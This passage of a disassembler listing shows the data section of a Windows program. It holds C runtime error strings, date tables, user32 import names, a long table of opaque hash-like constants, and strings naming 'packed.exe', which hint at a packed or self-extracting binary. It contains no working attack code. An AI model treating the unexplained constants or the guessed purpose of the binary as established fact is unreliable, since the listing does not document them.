aWed		db 'Wed',0              ; DATA XREF: .data:004EF2A4o
aTue		db 'Tue',0              ; DATA XREF: .data:004EF2A0o
byte_4F320C	db 4Dh			; DATA XREF: __output_0+4Ar
					; .data:004EF29Co
		db 6Fh,	6Eh, 0
dword_4F3210	dd 6E7553h		; DATA XREF: .data:off_4EF298o
dword_4F3214	dd 702F61h		; DATA XREF: __store_winword:loc_4C9DF6o
aAmPm		db 'am/pm',0            ; DATA XREF: __store_winword:loc_4C9DE0o
		align 10h
dword_4F3220	dd 0FFFFFFFFh, 4CA1E2h,	4CA1F6h	; DATA XREF: start+5o
byte_4F322C	db 6			; DATA XREF: __output_0:loc_4CA582r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		db 8,'`h````',0
		dd 78707000h, 8787878h,	807h, 8080007h,	8000008h, 7000800h
		dd 8
aNull_1:				; DATA XREF: .data:off_4EF350o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: .data:off_4EF34Co
		align 10h
aSunmontuewed_0	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmarapr_0	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 10h
; char aTz[]
aTz		db 'TZ',0               ; DATA XREF: __tzset_0+Ao
		align 4
; char a__global_heap_[]
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_4CBD81+8Eo
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_4CBD81+4Fo
		align 4
aRuntimeError	db 'runtime error ',0
		align 4
		db 0Dh,0Ah,0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 10h
aR6027NotEnou_0	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnou_0	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 10h
aR6025PureVir_0	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnou_0	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 10h
aR6019UnableT_0	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpec_0	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 10h
aR6017Unexpec_0	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 10h
aR6016NotEnou_0	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProg_0	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 10h
aR6009NotEnou_0	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnou_0	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002Floatin_0	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_4EF6CCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 10h
aMicrosoftVis_0	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE_0+119o
		align 4
; char asc_4F35C8[]
asc_4F35C8	db 0Ah			; DATA XREF: __NMSG_WRITE_0+F1o
		db 0Ah,0
		align 4
; char aRuntimeError_0[]
aRuntimeError_0	db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE_0+D3o
		db 0Ah
		db 'Program: ',0
		align 4
; char a____0[]
a____0		db '...',0              ; DATA XREF: __NMSG_WRITE_0+BFo
; char aProgramNameU_0[]
aProgramNameU_0	db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE_0+7Do
		align 4
dword_4F3604	dd 0			; DATA XREF: ___crtGetStringTypeA_0+52o
					; ___crtLCMapStringA_0+57o ...
dword_4F3608	dd 2 dup(0)		; DATA XREF: ___crtGetStringTypeA_0+39o
					; ___crtLCMapStringA_0+36o ...
dword_4F3610	dd 0FFFFFFFFh, 4CD87Eh,	4CD882h	; DATA XREF: ___crtGetStringTypeA_0+5o
aGetlastactiv_0	db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA_0+3Do
		align 10h
aGetactivewin_0	db 'GetActiveWindow',0  ; DATA XREF: ___crtMessageBoxA_0+35o
aMessageboxa_0	db 'MessageBoxA',0      ; DATA XREF: ___crtMessageBoxA_0+24o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: ___crtMessageBoxA_0+Do
		align 4
dword_4F3658	dd 0FFFFFFFFh, 4CE66Ah,	4CE66Eh, 0FFFFFFFFh, 4CE71Eh, 4CE722h
					; DATA XREF: ___crtLCMapStringA_0+5o
dword_4F3670	dd 0FFFFFFFFh, 4CEAAEh,	4CEAB2h, 0FFFFFFFFh, 4CEB1Dh, 4CEB21h
					; DATA XREF: ___crtCompareStringA_0+5o
dword_4F3688	dd 0FFFFFFFFh, 4CF4C4h,	4CF4C8h, 0FFFFFFFFh, 4CF541h, 4CF545h
					; DATA XREF: ___crtLCMapStringW_0+5o
dword_4F36A0	dd 0FFFFFFFFh, 4CF739h,	4CF73Dh, 0FFFFFFFFh, 4CF796h, 4CF79Ah
					; DATA XREF: ___crtGetStringTypeW_0+5o
byte_4F36B8	db 0			; DATA XREF: sub_48EAE0+7w
					; sub_48EAE0+89w ...
		align 4
dword_4F36BC	dd 0			; DATA XREF: .text:004905F1r
					; .text:004905F9r ...
dword_4F36C0	dd 0			; DATA XREF: sub_490893+31w
					; sub_4908CE+1Ar ...
dword_4F36C4	dd 0			; DATA XREF: sub_490743+20w
					; sub_4907D5+58r ...
byte_4F36C8	db 0			; DATA XREF: .text:004905ACr
					; .text:004906C1r ...
		align 4
dword_4F36CC	dd 0			; DATA XREF: .text:00490665r
					; .text:00490696r ...
dword_4F36D0	dd 0			; DATA XREF: sub_490743+6w
					; sub_490743+Br ...
dword_4F36D4	dd 0			; DATA XREF: sub_490743+11w
					; sub_490743+17r ...
byte_4F36D8	db 0			; DATA XREF: sub_490743+26w
					; sub_4907D5+2Er ...
		align 4
dword_4F36DC	dd 0			; DATA XREF: .text:0049061Cr
					; .text:00490645r ...
dword_4F36E0	dd 0			; DATA XREF: .text:004905D7r
					; sub_490893+19w ...
byte_4F36E4	db 0			; DATA XREF: sub_490743+39w
					; sub_490743+4Aw ...
		align 4
dword_4F36E8	dd 11A008AEh		; DATA XREF: sub_4965D8+14w
					; sub_4A363D+97r ...
dword_4F36EC	dd 11A3FC9Eh		; DATA XREF: sub_4965D8+2Aw
dword_4F36F0	dd 958AD1F8h		; DATA XREF: sub_4965D8+41w
dword_4F36F4	dd 0FB8726F7h		; DATA XREF: sub_4965D8+58w
dword_4F36F8	dd 0A8283A93h		; DATA XREF: sub_4965D8+6Ew
dword_4F36FC	dd 2BF49A3Dh		; DATA XREF: sub_4965D8+85w
dword_4F3700	dd 0A64707A0h		; DATA XREF: sub_4965D8+9Cw
dword_4F3704	dd 0D6846EF4h		; DATA XREF: sub_4965D8+B2w
dword_4F3708	dd 0AA8BF833h		; DATA XREF: sub_4965D8+C9w
dword_4F370C	dd 0C4F44118h		; DATA XREF: sub_4965D8+E0w
dword_4F3710	dd 0E3309650h		; DATA XREF: sub_4965D8+F6w
dword_4F3714	dd 4DAB9ABAh		; DATA XREF: sub_4965D8+10Dw
dword_4F3718	dd 0F3E931B3h		; DATA XREF: sub_4965D8+124w
dword_4F371C	dd 91A7E26Fh		; DATA XREF: sub_4965D8+13Aw
dword_4F3720	dd 74B01D59h		; DATA XREF: sub_4965D8+151w
dword_4F3724	dd 0BADDFF0Fh		; DATA XREF: sub_4965D8+168w
dword_4F3728	dd 32F8C07Fh		; DATA XREF: sub_4965D8+17Ew
dword_4F372C	dd 98256840h		; DATA XREF: sub_4965D8+195w
dword_4F3730	dd 0EE923475h		; DATA XREF: sub_4965D8+1ACw
dword_4F3734	dd 69A517D5h		; DATA XREF: sub_4965D8+1C2w
dword_4F3738	dd 9D8144Bh		; DATA XREF: sub_4965D8+1D9w
dword_4F373C	dd 172E283Ah		; DATA XREF: sub_4965D8+1F0w
dword_4F3740	dd 63C537F1h		; DATA XREF: sub_4965D8+206w
dword_4F3744	dd 0C097BD34h		; DATA XREF: sub_4965D8+21Dw
dword_4F3748	dd 56AD56B6h		; DATA XREF: sub_4965D8+234w
dword_4F374C	dd 9A4A961Ch		; DATA XREF: sub_4965D8+24Aw
dword_4F3750	dd 0B1A591FDh		; DATA XREF: sub_4965D8+261w
dword_4F3754	dd 87F85EB1h		; DATA XREF: sub_4965D8+278w
dword_4F3758	dd 0BA863416h		; DATA XREF: sub_4965D8+28Ew
dword_4F375C	dd 834B7EC2h		; DATA XREF: sub_4965D8+2A5w
dword_4F3760	dd 11A0042Eh		; DATA XREF: sub_4965D8+2BCw
dword_4F3764	dd 84635F37h		; DATA XREF: sub_4965D8+2D2w
dword_4F3768	dd 84637034h		; DATA XREF: sub_4965D8+2E9w
dword_4F376C	dd 0EA6EEE95h		; DATA XREF: sub_4965D8+300w
dword_4F3770	dd 0B9C29C7Fh		; DATA XREF: sub_4965D8+316w
dword_4F3774	dd 3A1EF194h		; DATA XREF: sub_4965D8+32Dw
dword_4F3778	dd 0B7AD66C8h		; DATA XREF: sub_4965D8+344w
dword_4F377C	dd 0C76D6A37h		; DATA XREF: sub_4965D8+35Aw
dword_4F3780	dd 0BB625D9Bh		; DATA XREF: sub_4965D8+371w
dword_4F3784	dd 0D51D2736h		; DATA XREF: sub_4965D8+388w
dword_4F3788	dd 0F2D98B77h		; DATA XREF: sub_4965D8+39Ew
dword_4F378C	dd 5C42A28Dh		; DATA XREF: sub_4965D8+3B5w
dword_4F3790	dd 0E200903Fh		; DATA XREF: sub_4965D8+3CCw
dword_4F3794	dd 804DA5E0h		; DATA XREF: sub_4965D8+3E2w
dword_4F3798	dd 65595383h		; DATA XREF: sub_4965D8+3F9w
dword_4F379C	dd 0AB340577h		; DATA XREF: sub_4965D8+410w
dword_4F37A0	dd 2312F139h		; DATA XREF: sub_4965D8+426w
dword_4F37A4	dd 89CCA513h		; DATA XREF: sub_4965D8+43Dw
dword_4F37A8	dd 0FF7BBE5Ch		; DATA XREF: sub_4965D8+454w
dword_4F37AC	dd 784C7188h		; DATA XREF: sub_4965D8+46Aw
dword_4F37B0	dd 18326DB4h		; DATA XREF: sub_4965D8+481w
dword_4F37B4	dd 6C7FED9h		; DATA XREF: sub_4965D8+498w
dword_4F37B8	dd 722CAADFh		; DATA XREF: sub_4965D8+4AEw
dword_4F37BC	dd 0D17E463Eh		; DATA XREF: sub_4965D8+4C5w
dword_4F37C0	dd 474702B3h		; DATA XREF: sub_4965D8+4DCw
dword_4F37C4	dd 8BA34DD8h		; DATA XREF: sub_4965D8+4F2w
dword_4F37C8	dd 0A04F1BD3h		; DATA XREF: sub_4965D8+509w
dword_4F37CC	dd 9611AA5Dh		; DATA XREF: sub_4965D8+520w
dword_4F37D0	dd 0AB6FE677h		; DATA XREF: sub_4965D8+536w
dword_4F37D4	dd 92A14707h		; DATA XREF: sub_4965D8+54Dw
dword_4F37D8	dd 958AEFAAh		; DATA XREF: sub_4965D8+564w
dword_4F37DC	dd 84635C0Ch		; DATA XREF: sub_4965D8+57Aw
dword_4F37E0	dd 6E47B60Ah		; DATA XREF: sub_4965D8+591w
dword_4F37E4	dd 6E47C43Ch		; DATA XREF: sub_4965D8+5A8w
dword_4F37E8	dd 3DEBA709h		; DATA XREF: sub_4965D8+5BEw
dword_4F37EC	dd 0BE344247h		; DATA XREF: sub_4965D8+5D5w
dword_4F37F0	dd 3387EFFCh		; DATA XREF: sub_4965D8+5ECw
dword_4F37F4	dd 43474122h		; DATA XREF: sub_4965D8+602w
dword_4F37F8	dd 3F484873h		; DATA XREF: sub_4965D8+619w
dword_4F37FC	dd 5134A51Ah		; DATA XREF: sub_4965D8+630w
dword_4F3800	dd 76F370BCh		; DATA XREF: sub_4965D8+646w
dword_4F3804	dd 0D8680641h		; DATA XREF: sub_4965D8+65Dw
dword_4F3808	dd 662A57FBh		; DATA XREF: sub_4965D8+674w
dword_4F380C	dd 4677E18h		; DATA XREF: sub_4965D8+68Aw
dword_4F3810	dd 0E17318D1h		; DATA XREF: sub_4965D8+6A1w
dword_4F3814	dd 2F1E0239h		; DATA XREF: sub_4965D8+6B8w
dword_4F3818	dd 0A73BAA08h		; DATA XREF: sub_4965D8+6CEw
dword_4F381C	dd 0DE6EA20h		; DATA XREF: sub_4965D8+6E5w
dword_4F3820	dd 7B513D0Dh		; DATA XREF: sub_4965D8+6FCw
dword_4F3824	dd 0FC656A5Ch		; DATA XREF: sub_4965D8+712w
dword_4F3828	dd 9C1B23D8h		; DATA XREF: sub_4965D8+729w
dword_4F382C	dd 82ED5F26h		; DATA XREF: sub_4965D8+740w
dword_4F3830	dd 0F60634EEh		; DATA XREF: sub_4965D8+756w
dword_4F3834	dd 55577D61h		; DATA XREF: sub_4965D8+76Dw
dword_4F3838	dd 0C36E7BADh		; DATA XREF: sub_4965D8+784w
dword_4F383C	dd 0F8A4FD5h		; DATA XREF: sub_4965D8+79Aw
dword_4F3840	dd 24662D5Ah		; DATA XREF: sub_4965D8+7B1w
dword_4F3844	dd 1238B43Fh		; DATA XREF: sub_4965D8+7C8w
dword_4F3848	dd 2F45089Ah		; DATA XREF: sub_4965D8+7DEw
dword_4F384C	dd 1688E1E7h		; DATA XREF: sub_4965D8+7F5w
dword_4F3850	dd 0FB84832Ch		; DATA XREF: sub_4965D8+80Cw
dword_4F3854	dd 0EA6D65B0h		; DATA XREF: sub_4965D8+822w
dword_4F3858	dd 6E47E5D4h		; DATA XREF: sub_4965D8+839w
dword_4F385C	dd 53E5F3DBh		; DATA XREF: sub_4965D8+850w
dword_4F3860	dd 53E5A221h		; DATA XREF: sub_4965D8+866w
dword_4F3864	dd 0D03A2C9Bh		; DATA XREF: sub_4965D8+87Dw
dword_4F3868	dd 5D8A19CAh		; DATA XREF: sub_4965D8+894w
dword_4F386C	dd 2D491BD0h		; DATA XREF: sub_4965D8+8AAw
dword_4F3870	dd 5146BD75h		; DATA XREF: sub_4965D8+8C1w
dword_4F3874	dd 3F392DC3h		; DATA XREF: sub_4965D8+8D8w
dword_4F3878	dd 18FD9BCDh		; DATA XREF: sub_4965D8+8EEw
dword_4F387C	dd 0B6665AEAh		; DATA XREF: sub_4965D8+905w
dword_4F3880	dd 8241B14h		; DATA XREF: sub_4965D8+91Cw
dword_4F3884	dd 6A6A1065h		; DATA XREF: sub_4965D8+932w
dword_4F3888	dd 8F7D7AA2h		; DATA XREF: sub_4965D8+949w
dword_4F388C	dd 4110CCA0h		; DATA XREF: sub_4965D8+960w
dword_4F3890	dd 0C9361DC9h		; DATA XREF: sub_4965D8+976w
dword_4F3894	dd 63EB8410h		; DATA XREF: sub_4965D8+98Dw
dword_4F3898	dd 155F517Ch		; DATA XREF: sub_4965D8+9A4w
dword_4F389C	dd 9268DFD1h		; DATA XREF: sub_4965D8+9BAw
dword_4F38A0	dd 0F215216Ch		; DATA XREF: sub_4965D8+9D1w
dword_4F38A4	dd 0ECE3EEC1h		; DATA XREF: sub_4965D8+9E8w
dword_4F38A8	dd 980860EBh		; DATA XREF: sub_4965D8+9FEw
dword_4F38AC	dd 3B5AC0EEh		; DATA XREF: sub_4965D8+A15w
dword_4F38B0	dd 0AD6396E5h		; DATA XREF: sub_4965D8+A2Cw
dword_4F38B4	dd 61870A62h		; DATA XREF: sub_4965D8+A42w
dword_4F38B8	dd 4A6BFCACh		; DATA XREF: sub_4965D8+A59w
dword_4F38BC	dd 7C3562F5h		; DATA XREF: sub_4965D8+A70w
dword_4F38C0	dd 414B5862h		; DATA XREF: sub_4965D8+A86w
dword_4F38C4	dd 788651E2h		; DATA XREF: sub_4965D8+A9Dw
dword_4F38C8	dd 0A82B7118h		; DATA XREF: sub_4965D8+AB4w
dword_4F38CC	dd 0B9C2B63Eh		; DATA XREF: sub_4965D8+ACAw
dword_4F38D0	dd 3DE86B9Fh		; DATA XREF: sub_4965D8+AE1w
dword_4F38D4	dd 53E5BC02h		; DATA XREF: sub_4965D8+AF8w
dword_4F38D8	dd 8395F99Ch		; DATA XREF: sub_4965D8+B0Ew
dword_4F38DC	dd 83968F06h		; DATA XREF: sub_4965D8+B25w
dword_4F38E0	dd 0E267A89h		; DATA XREF: sub_4965D8+B3Cw
dword_4F38E4	dd 7EE52853h		; DATA XREF: sub_4965D8+B52w
dword_4F38E8	dd 2EA91BEh		; DATA XREF: sub_4965D8+B69w
dword_4F38EC	dd 6C96C639h		; DATA XREF: sub_4965D8+B80w
dword_4F38F0	dd 4B52A5F4h		; DATA XREF: sub_4965D8+B96w
dword_4F38F4	dd 0E5CA4400h		; DATA XREF: sub_4965D8+BADw
dword_4F38F8	dd 5B8B8CD9h		; DATA XREF: sub_4965D8+BC4w
dword_4F38FC	dd 39C6F55Bh		; DATA XREF: sub_4965D8+BDAw
dword_4F3900	dd 0DCD2BBE7h		; DATA XREF: sub_4965D8+BF1w
dword_4F3904	dd 12BCD95Dh		; DATA XREF: sub_4965D8+C08w
dword_4F3908	dd 9A99D450h		; DATA XREF: sub_4965D8+C1Ew
dword_4F390C	dd 30445F3Ch		; DATA XREF: sub_4965D8+C35w
dword_4F3910	dd 46F30899h		; DATA XREF: sub_4965D8+C4Cw
dword_4F3914	dd 0C1C711D5h		; DATA XREF: sub_4965D8+C62w
dword_4F3918	dd 0A1BAEA70h		; DATA XREF: sub_4965D8+C79w
dword_4F391C	dd 0BF4CDF18h		; DATA XREF: sub_4965D8+C90w
dword_4F3920	dd 0CBA48B58h		; DATA XREF: sub_4965D8+CA6w
dword_4F3924	dd 68F6D499h		; DATA XREF: sub_4965D8+CBDw
dword_4F3928	dd 0FECF7D37h		; DATA XREF: sub_4965D8+CD4w
dword_4F392C	dd 322BF2AFh		; DATA XREF: sub_4965D8+CEAw
dword_4F3930	dd 19C476FEh		; DATA XREF: sub_4965D8+D01w
dword_4F3934	dd 2F9A9D8Eh		; DATA XREF: sub_4965D8+D18w
dword_4F3938	dd 12E730DAh		; DATA XREF: sub_4965D8+D2Ew
dword_4F393C	dd 2B29F132h		; DATA XREF: sub_4965D8+D45w
dword_4F3940	dd 2BF720A5h		; DATA XREF: sub_4965D8+D5Cw
dword_4F3944	dd 3A1EAAE9h		; DATA XREF: sub_4965D8+D72w
dword_4F3948	dd 0BE342A13h		; DATA XREF: sub_4965D8+D89w
dword_4F394C	dd 0D03A0A98h		; DATA XREF: sub_4965D8+DA0w
dword_4F3950	dd 83964292h		; DATA XREF: sub_4965D8+DB6w
dword_4F3954	dd 8DF9A5A9h		; DATA XREF: sub_4965D8+DCDw
dword_4F3958	dd 8DFACF35h		; DATA XREF: sub_4965D8+DE4w
dword_4F395C	dd 0FD3ADA11h		; DATA XREF: sub_4965D8+DFAw
dword_4F3960	dd 81369D30h		; DATA XREF: sub_4965D8+E11w
dword_4F3964	dd 0EF492383h		; DATA XREF: sub_4965D8+E28w
dword_4F3968	dd 0C88EC1BBh		; DATA XREF: sub_4965D8+E3Ew
dword_4F396C	dd 6615E79Bh		; DATA XREF: sub_4965D8+E55w
dword_4F3970	dd 0D857F3A4h		; DATA XREF: sub_4965D8+E6Cw
dword_4F3974	dd 0BA192B03h		; DATA XREF: sub_4965D8+E82w
dword_4F3978	dd 5F0E8937h		; DATA XREF: sub_4965D8+E99w
dword_4F397C	dd 9163A50Fh		; DATA XREF: sub_4965D8+EB0w
dword_4F3980	dd 1946588Eh		; DATA XREF: sub_4965D8+EC6w
dword_4F3984	dd 0B39BF5ADh		; DATA XREF: sub_4965D8+EDDw
dword_4F3988	dd 0C52F6403h		; DATA XREF: sub_4965D8+EF4w
dword_4F398C	dd 4218EA87h		; DATA XREF: sub_4965D8+F0Aw
dword_4F3990	dd 22651A40h		; DATA XREF: sub_4965D8+F21w
dword_4F3994	dd 3C933D25h		; DATA XREF: sub_4965D8+F38w
dword_4F3998	dd 48781524h		; DATA XREF: sub_4965D8+F4Ew
dword_4F399C	dd 0EB295695h		; DATA XREF: sub_4965D8+F65w
dword_4F39A0	dd 7D101ABDh		; DATA XREF: sub_4965D8+F7Cw
dword_4F39A4	dd 0B1F442FDh		; DATA XREF: sub_4965D8+F92w
dword_4F39A8	dd 9A1B2219h		; DATA XREF: sub_4965D8+FA9w
dword_4F39AC	dd 0AC454FC4h		; DATA XREF: sub_4965D8+FC0w
dword_4F39B0	dd 9138F6E4h		; DATA XREF: sub_4965D8+FD6w
dword_4F39B4	dd 0A8F5BF9Ch		; DATA XREF: sub_4965D8+FEDw
dword_4F39B8	dd 0A644B942h		; DATA XREF: sub_4965D8+1004w
dword_4F39BC	dd 0B7AD158Dh		; DATA XREF: sub_4965D8+101Aw
dword_4F39C0	dd 33879B26h		; DATA XREF: sub_4965D8+1031w
dword_4F39C4	dd 5D899212h		; DATA XREF: sub_4965D8+1048w
dword_4F39C8	dd 0E259137h		; DATA XREF: sub_4965D8+105Ew
dword_4F39CC	dd 8DFA71BAh		; DATA XREF: sub_4965D8+1075w
dword_4F39D0	dd 70896B67h		; DATA XREF: sub_4965D8+108Cw
dword_4F39D4	dd 7089A206h		; DATA XREF: sub_4965D8+10A2w
dword_4F39D8	dd 0C86AE5Ch		; DATA XREF: sub_4965D8+10B9w
dword_4F39DC	dd 62F95DEBh		; DATA XREF: sub_4965D8+10D0w
dword_4F39E0	dd 453EE49Dh		; DATA XREF: sub_4965D8+10E6w
dword_4F39E4	dd 0EBA6303Fh		; DATA XREF: sub_4965D8+10FDw
dword_4F39E8	dd 55E45E37h		; DATA XREF: sub_4965D8+1114w
dword_4F39EC	dd 37AABFDFh		; DATA XREF: sub_4965D8+112Aw
dword_4F39F0	dd 0D2BD1F06h		; DATA XREF: sub_4965D8+1141w
dword_4F39F4	dd 1CD3442Dh		; DATA XREF: sub_4965D8+1158w
dword_4F39F8	dd 94F5AF29h		; DATA XREF: sub_4965D8+116Ew
dword_4F39FC	dd 3E28E0F6h		; DATA XREF: sub_4965D8+1185w
dword_4F3A00	dd 489F627Fh		; DATA XREF: sub_4965D8+119Cw
dword_4F3A04	dd 0CFA8C922h		; DATA XREF: sub_4965D8+11B2w
dword_4F3A08	dd 0AFD6BD4Bh		; DATA XREF: sub_4965D8+11C9w
dword_4F3A0C	dd 0B1232DC4h		; DATA XREF: sub_4965D8+11E0w
dword_4F3A10	dd 0C5C8E7DEh		; DATA XREF: sub_4965D8+11F6w
dword_4F3A14	dd 6699747Eh		; DATA XREF: sub_4965D8+120Dw
dword_4F3A18	dd 0F0A3C198h		; DATA XREF: sub_4965D8+1224w
dword_4F3A1C	dd 3C44789Ch		; DATA XREF: sub_4965D8+123Aw
dword_4F3A20	dd 17A82F74h		; DATA XREF: sub_4965D8+1251w
dword_4F3A24	dd 21F68BF5h		; DATA XREF: sub_4965D8+1268w
dword_4F3A28	dd 1C88B067h		; DATA XREF: sub_4965D8+127Ew
dword_4F3A2C	dd 2546CAA6h		; DATA XREF: sub_4965D8+1295w
dword_4F3A30	dd 0D687D4DEh		; DATA XREF: sub_4965D8+12ACw
dword_4F3A34	dd 0C76D9F93h		; DATA XREF: sub_4965D8+12C2w
dword_4F3A38	dd 43472608h		; DATA XREF: sub_4965D8+12D9w
dword_4F3A3C	dd 2D4AC21Ch		; DATA XREF: sub_4965D8+12F0w
dword_4F3A40	dd 7EE57CACh		; DATA XREF: sub_4965D8+1306w
dword_4F3A44	dd 0FD3AA72Ah		; DATA XREF: sub_4965D8+131Dw
dword_4F3A48	dd 70891322h		; DATA XREF: sub_4965D8+1334w
dword_4F3A4C	dd 7C45C14Ch		; DATA XREF: sub_4965D8+134Aw
dword_4F3A50	dd 7C463579h		; DATA XREF: sub_4965D8+1361w
dword_4F3A54	dd 1239FF96h		; DATA XREF: sub_4965D8+1378w
dword_4F3A58	dd 35FE1A5Fh		; DATA XREF: sub_4965D8+138Ew
dword_4F3A5C	dd 9B66CC6Dh		; DATA XREF: sub_4965D8+13A5w
dword_4F3A60	dd 25271CF8h		; DATA XREF: sub_4965D8+13BCw
dword_4F3A64	dd 47699DB0h		; DATA XREF: sub_4965D8+13D2w
dword_4F3A68	dd 0A27D517Bh		; DATA XREF: sub_4965D8+13E9w
dword_4F3A6C	dd 6C13ABF7h		; DATA XREF: sub_4965D8+1400w
dword_4F3A70	dd 0E4352231h		; DATA XREF: sub_4965D8+1416w
dword_4F3A74	dd 4EEB6AF3h		; DATA XREF: sub_4965D8+142Dw
dword_4F3A78	dd 385C32A0h		; DATA XREF: sub_4965D8+1444w
dword_4F3A7C	dd 0BF6827CDh		; DATA XREF: sub_4965D8+145Aw
dword_4F3A80	dd 0DF15CAD0h		; DATA XREF: sub_4965D8+1471w
dword_4F3A84	dd 0C1E3953Dh		; DATA XREF: sub_4965D8+1488w
dword_4F3A88	dd 0B50B7BD6h		; DATA XREF: sub_4965D8+149Ew
dword_4F3A8C	dd 1659853Dh		; DATA XREF: sub_4965D8+14B5w
dword_4F3A90	dd 8063521Eh		; DATA XREF: sub_4965D8+14CCw
dword_4F3A94	dd 4C849CA5h		; DATA XREF: sub_4965D8+14E2w
dword_4F3A98	dd 6768E2D7h		; DATA XREF: sub_4965D8+14F9w
dword_4F3A9C	dd 51358509h		; DATA XREF: sub_4965D8+1510w
dword_4F3AA0	dd 6C4843DEh		; DATA XREF: sub_4965D8+1526w
dword_4F3AA4	dd 55869771h		; DATA XREF: sub_4965D8+153Dw
dword_4F3AA8	dd 0AA8BF6D6h		; DATA XREF: sub_4965D8+1554w
dword_4F3AAC	dd 0BB6244F3h		; DATA XREF: sub_4965D8+156Aw
dword_4F3AB0	dd 3F486E2Dh		; DATA XREF: sub_4965D8+1581w
dword_4F3AB4	dd 5146C125h		; DATA XREF: sub_4965D8+1598w
dword_4F3AB8	dd 2EAFA9Dh		; DATA XREF: sub_4965D8+15AEw
dword_4F3ABC	dd 813698A1h		; DATA XREF: sub_4965D8+15C5w
dword_4F3AC0	dd 0C864889h		; DATA XREF: sub_4965D8+15DCw
dword_4F3AC4	dd 7C46931Ch		; DATA XREF: sub_4965D8+15F2w
dword_4F3AC8	dd 6E35A83Ah		; DATA XREF: sub_4965D8+1609w
dword_4F3ACC	dd 6E365334h		; DATA XREF: sub_4965D8+1620w
dword_4F3AD0	dd 49F22F05h		; DATA XREF: sub_4965D8+1636w
dword_4F3AD4	dd 0E76949D7h		; DATA XREF: sub_4965D8+164Dw
dword_4F3AD8	dd 0			; DATA XREF: sub_4B331A+3o
					; sub_4B3AA2:loc_4B3AD2r ...
dword_4F3ADC	dd 0			; DATA XREF: sub_4B3AFF+94r
					; sub_4B3AFF:loc_4B3BAEr ...
dword_4F3AE0	dd 0			; DATA XREF: sub_4B3AFF+5Cr
		align 8
		dd 77FC5860h, 0FFFFFFFFh, 4 dup(0)
dword_4F3B00	dd 0ECh			; DATA XREF: sub_4B3E69+17r
					; sub_4B4581+6w
dword_4F3B04	dd 41h dup(0)		; DATA XREF: sub_4B3E69:loc_4B3EF6o
					; sub_4B40C4+220o
dword_4F3C08	dd 41h dup(0)		; DATA XREF: sub_4B40C4+238o
; wchar_t aPacked
aPacked:				; DATA XREF: sub_4B3E69+40o
					; sub_4B40C4+F1o
		unicode	0, <packed>,0
aE		db 'e',0
aXe:
		unicode	0, <xe>,0
		align 4
		dd 7Ch dup(0)
; wchar_t aPacked_0
aPacked_0:				; DATA XREF: sub_4B40C4+109o
		unicode	0, <packed>,0
aE_0		db 'e',0
aXe_0:
		unicode	0, <xe>,0
aE_1		db 'e',0
aRPacked_exe:
		unicode	0, <r\packed.exe>,0
		align 4
		dd 75h dup(0)
byte_4F411C	db 1			; DATA XREF: sub_4B36BD+37w
					; sub_4B36BD:loc_4B3701r
byte_4F411D	db 1			; DATA XREF: sub_4B36BD+Br
					; sub_4B36BD+3Dw
		align 10h
; char byte_4F4120
byte_4F4120	db 0			; DATA XREF: sub_4B3329:loc_4B351Br
					; sub_4B3329:loc_4B3699o ...
		align 4
; wchar_t word_4F4124
word_4F4124	dw 0			; DATA XREF: sub_4B3329+74r
					; sub_4B3329:loc_4B34FCo ...
		align 10h
dword_4F4130	dd 1			; DATA XREF: sub_4B45FB+4Fr
					; sub_4B45FB+239r ...
dword_4F4134	dd 0Ah			; DATA XREF: WinMain(x,x,x,x)+20w
dword_4F4138	dd 14234Ah		; DATA XREF: sub_4B45FB+58r
					; sub_4B45FB+66r ...
dword_4F413C	dd 400000h		; DATA XREF: WinMain(x,x,x,x)+31w
		dd 3 dup(0)
dword_4F414C	dd 0			; DATA XREF: sub_4B45FB+242r
dword_4F4150	dd 0			; DATA XREF: .text:004B5FA9r
					; .text:004B5FC0r
dword_4F4154	dd 0AB35F3h		; DATA XREF: sub_4B45FB+1A4w
					; .text:004B5DF9r ...
dword_4F4158	dd 0AB9D16h		; DATA XREF: sub_4B45FB+19Bw
					; .text:004B5DE0r ...
; char byte_4F415C[]
byte_4F415C	db 100h	dup(0)		; DATA XREF: sub_4B45FB+232o
					; WinMain(x,x,x,x)+19Co ...
dword_4F425C	dd 40h dup(0)		; DATA XREF: sub_4B60E5:loc_4B6103o
byte_4F435C	db 0			; DATA XREF: .text:004B5CB4w
					; .text:004B8D6Ar
		align 10h
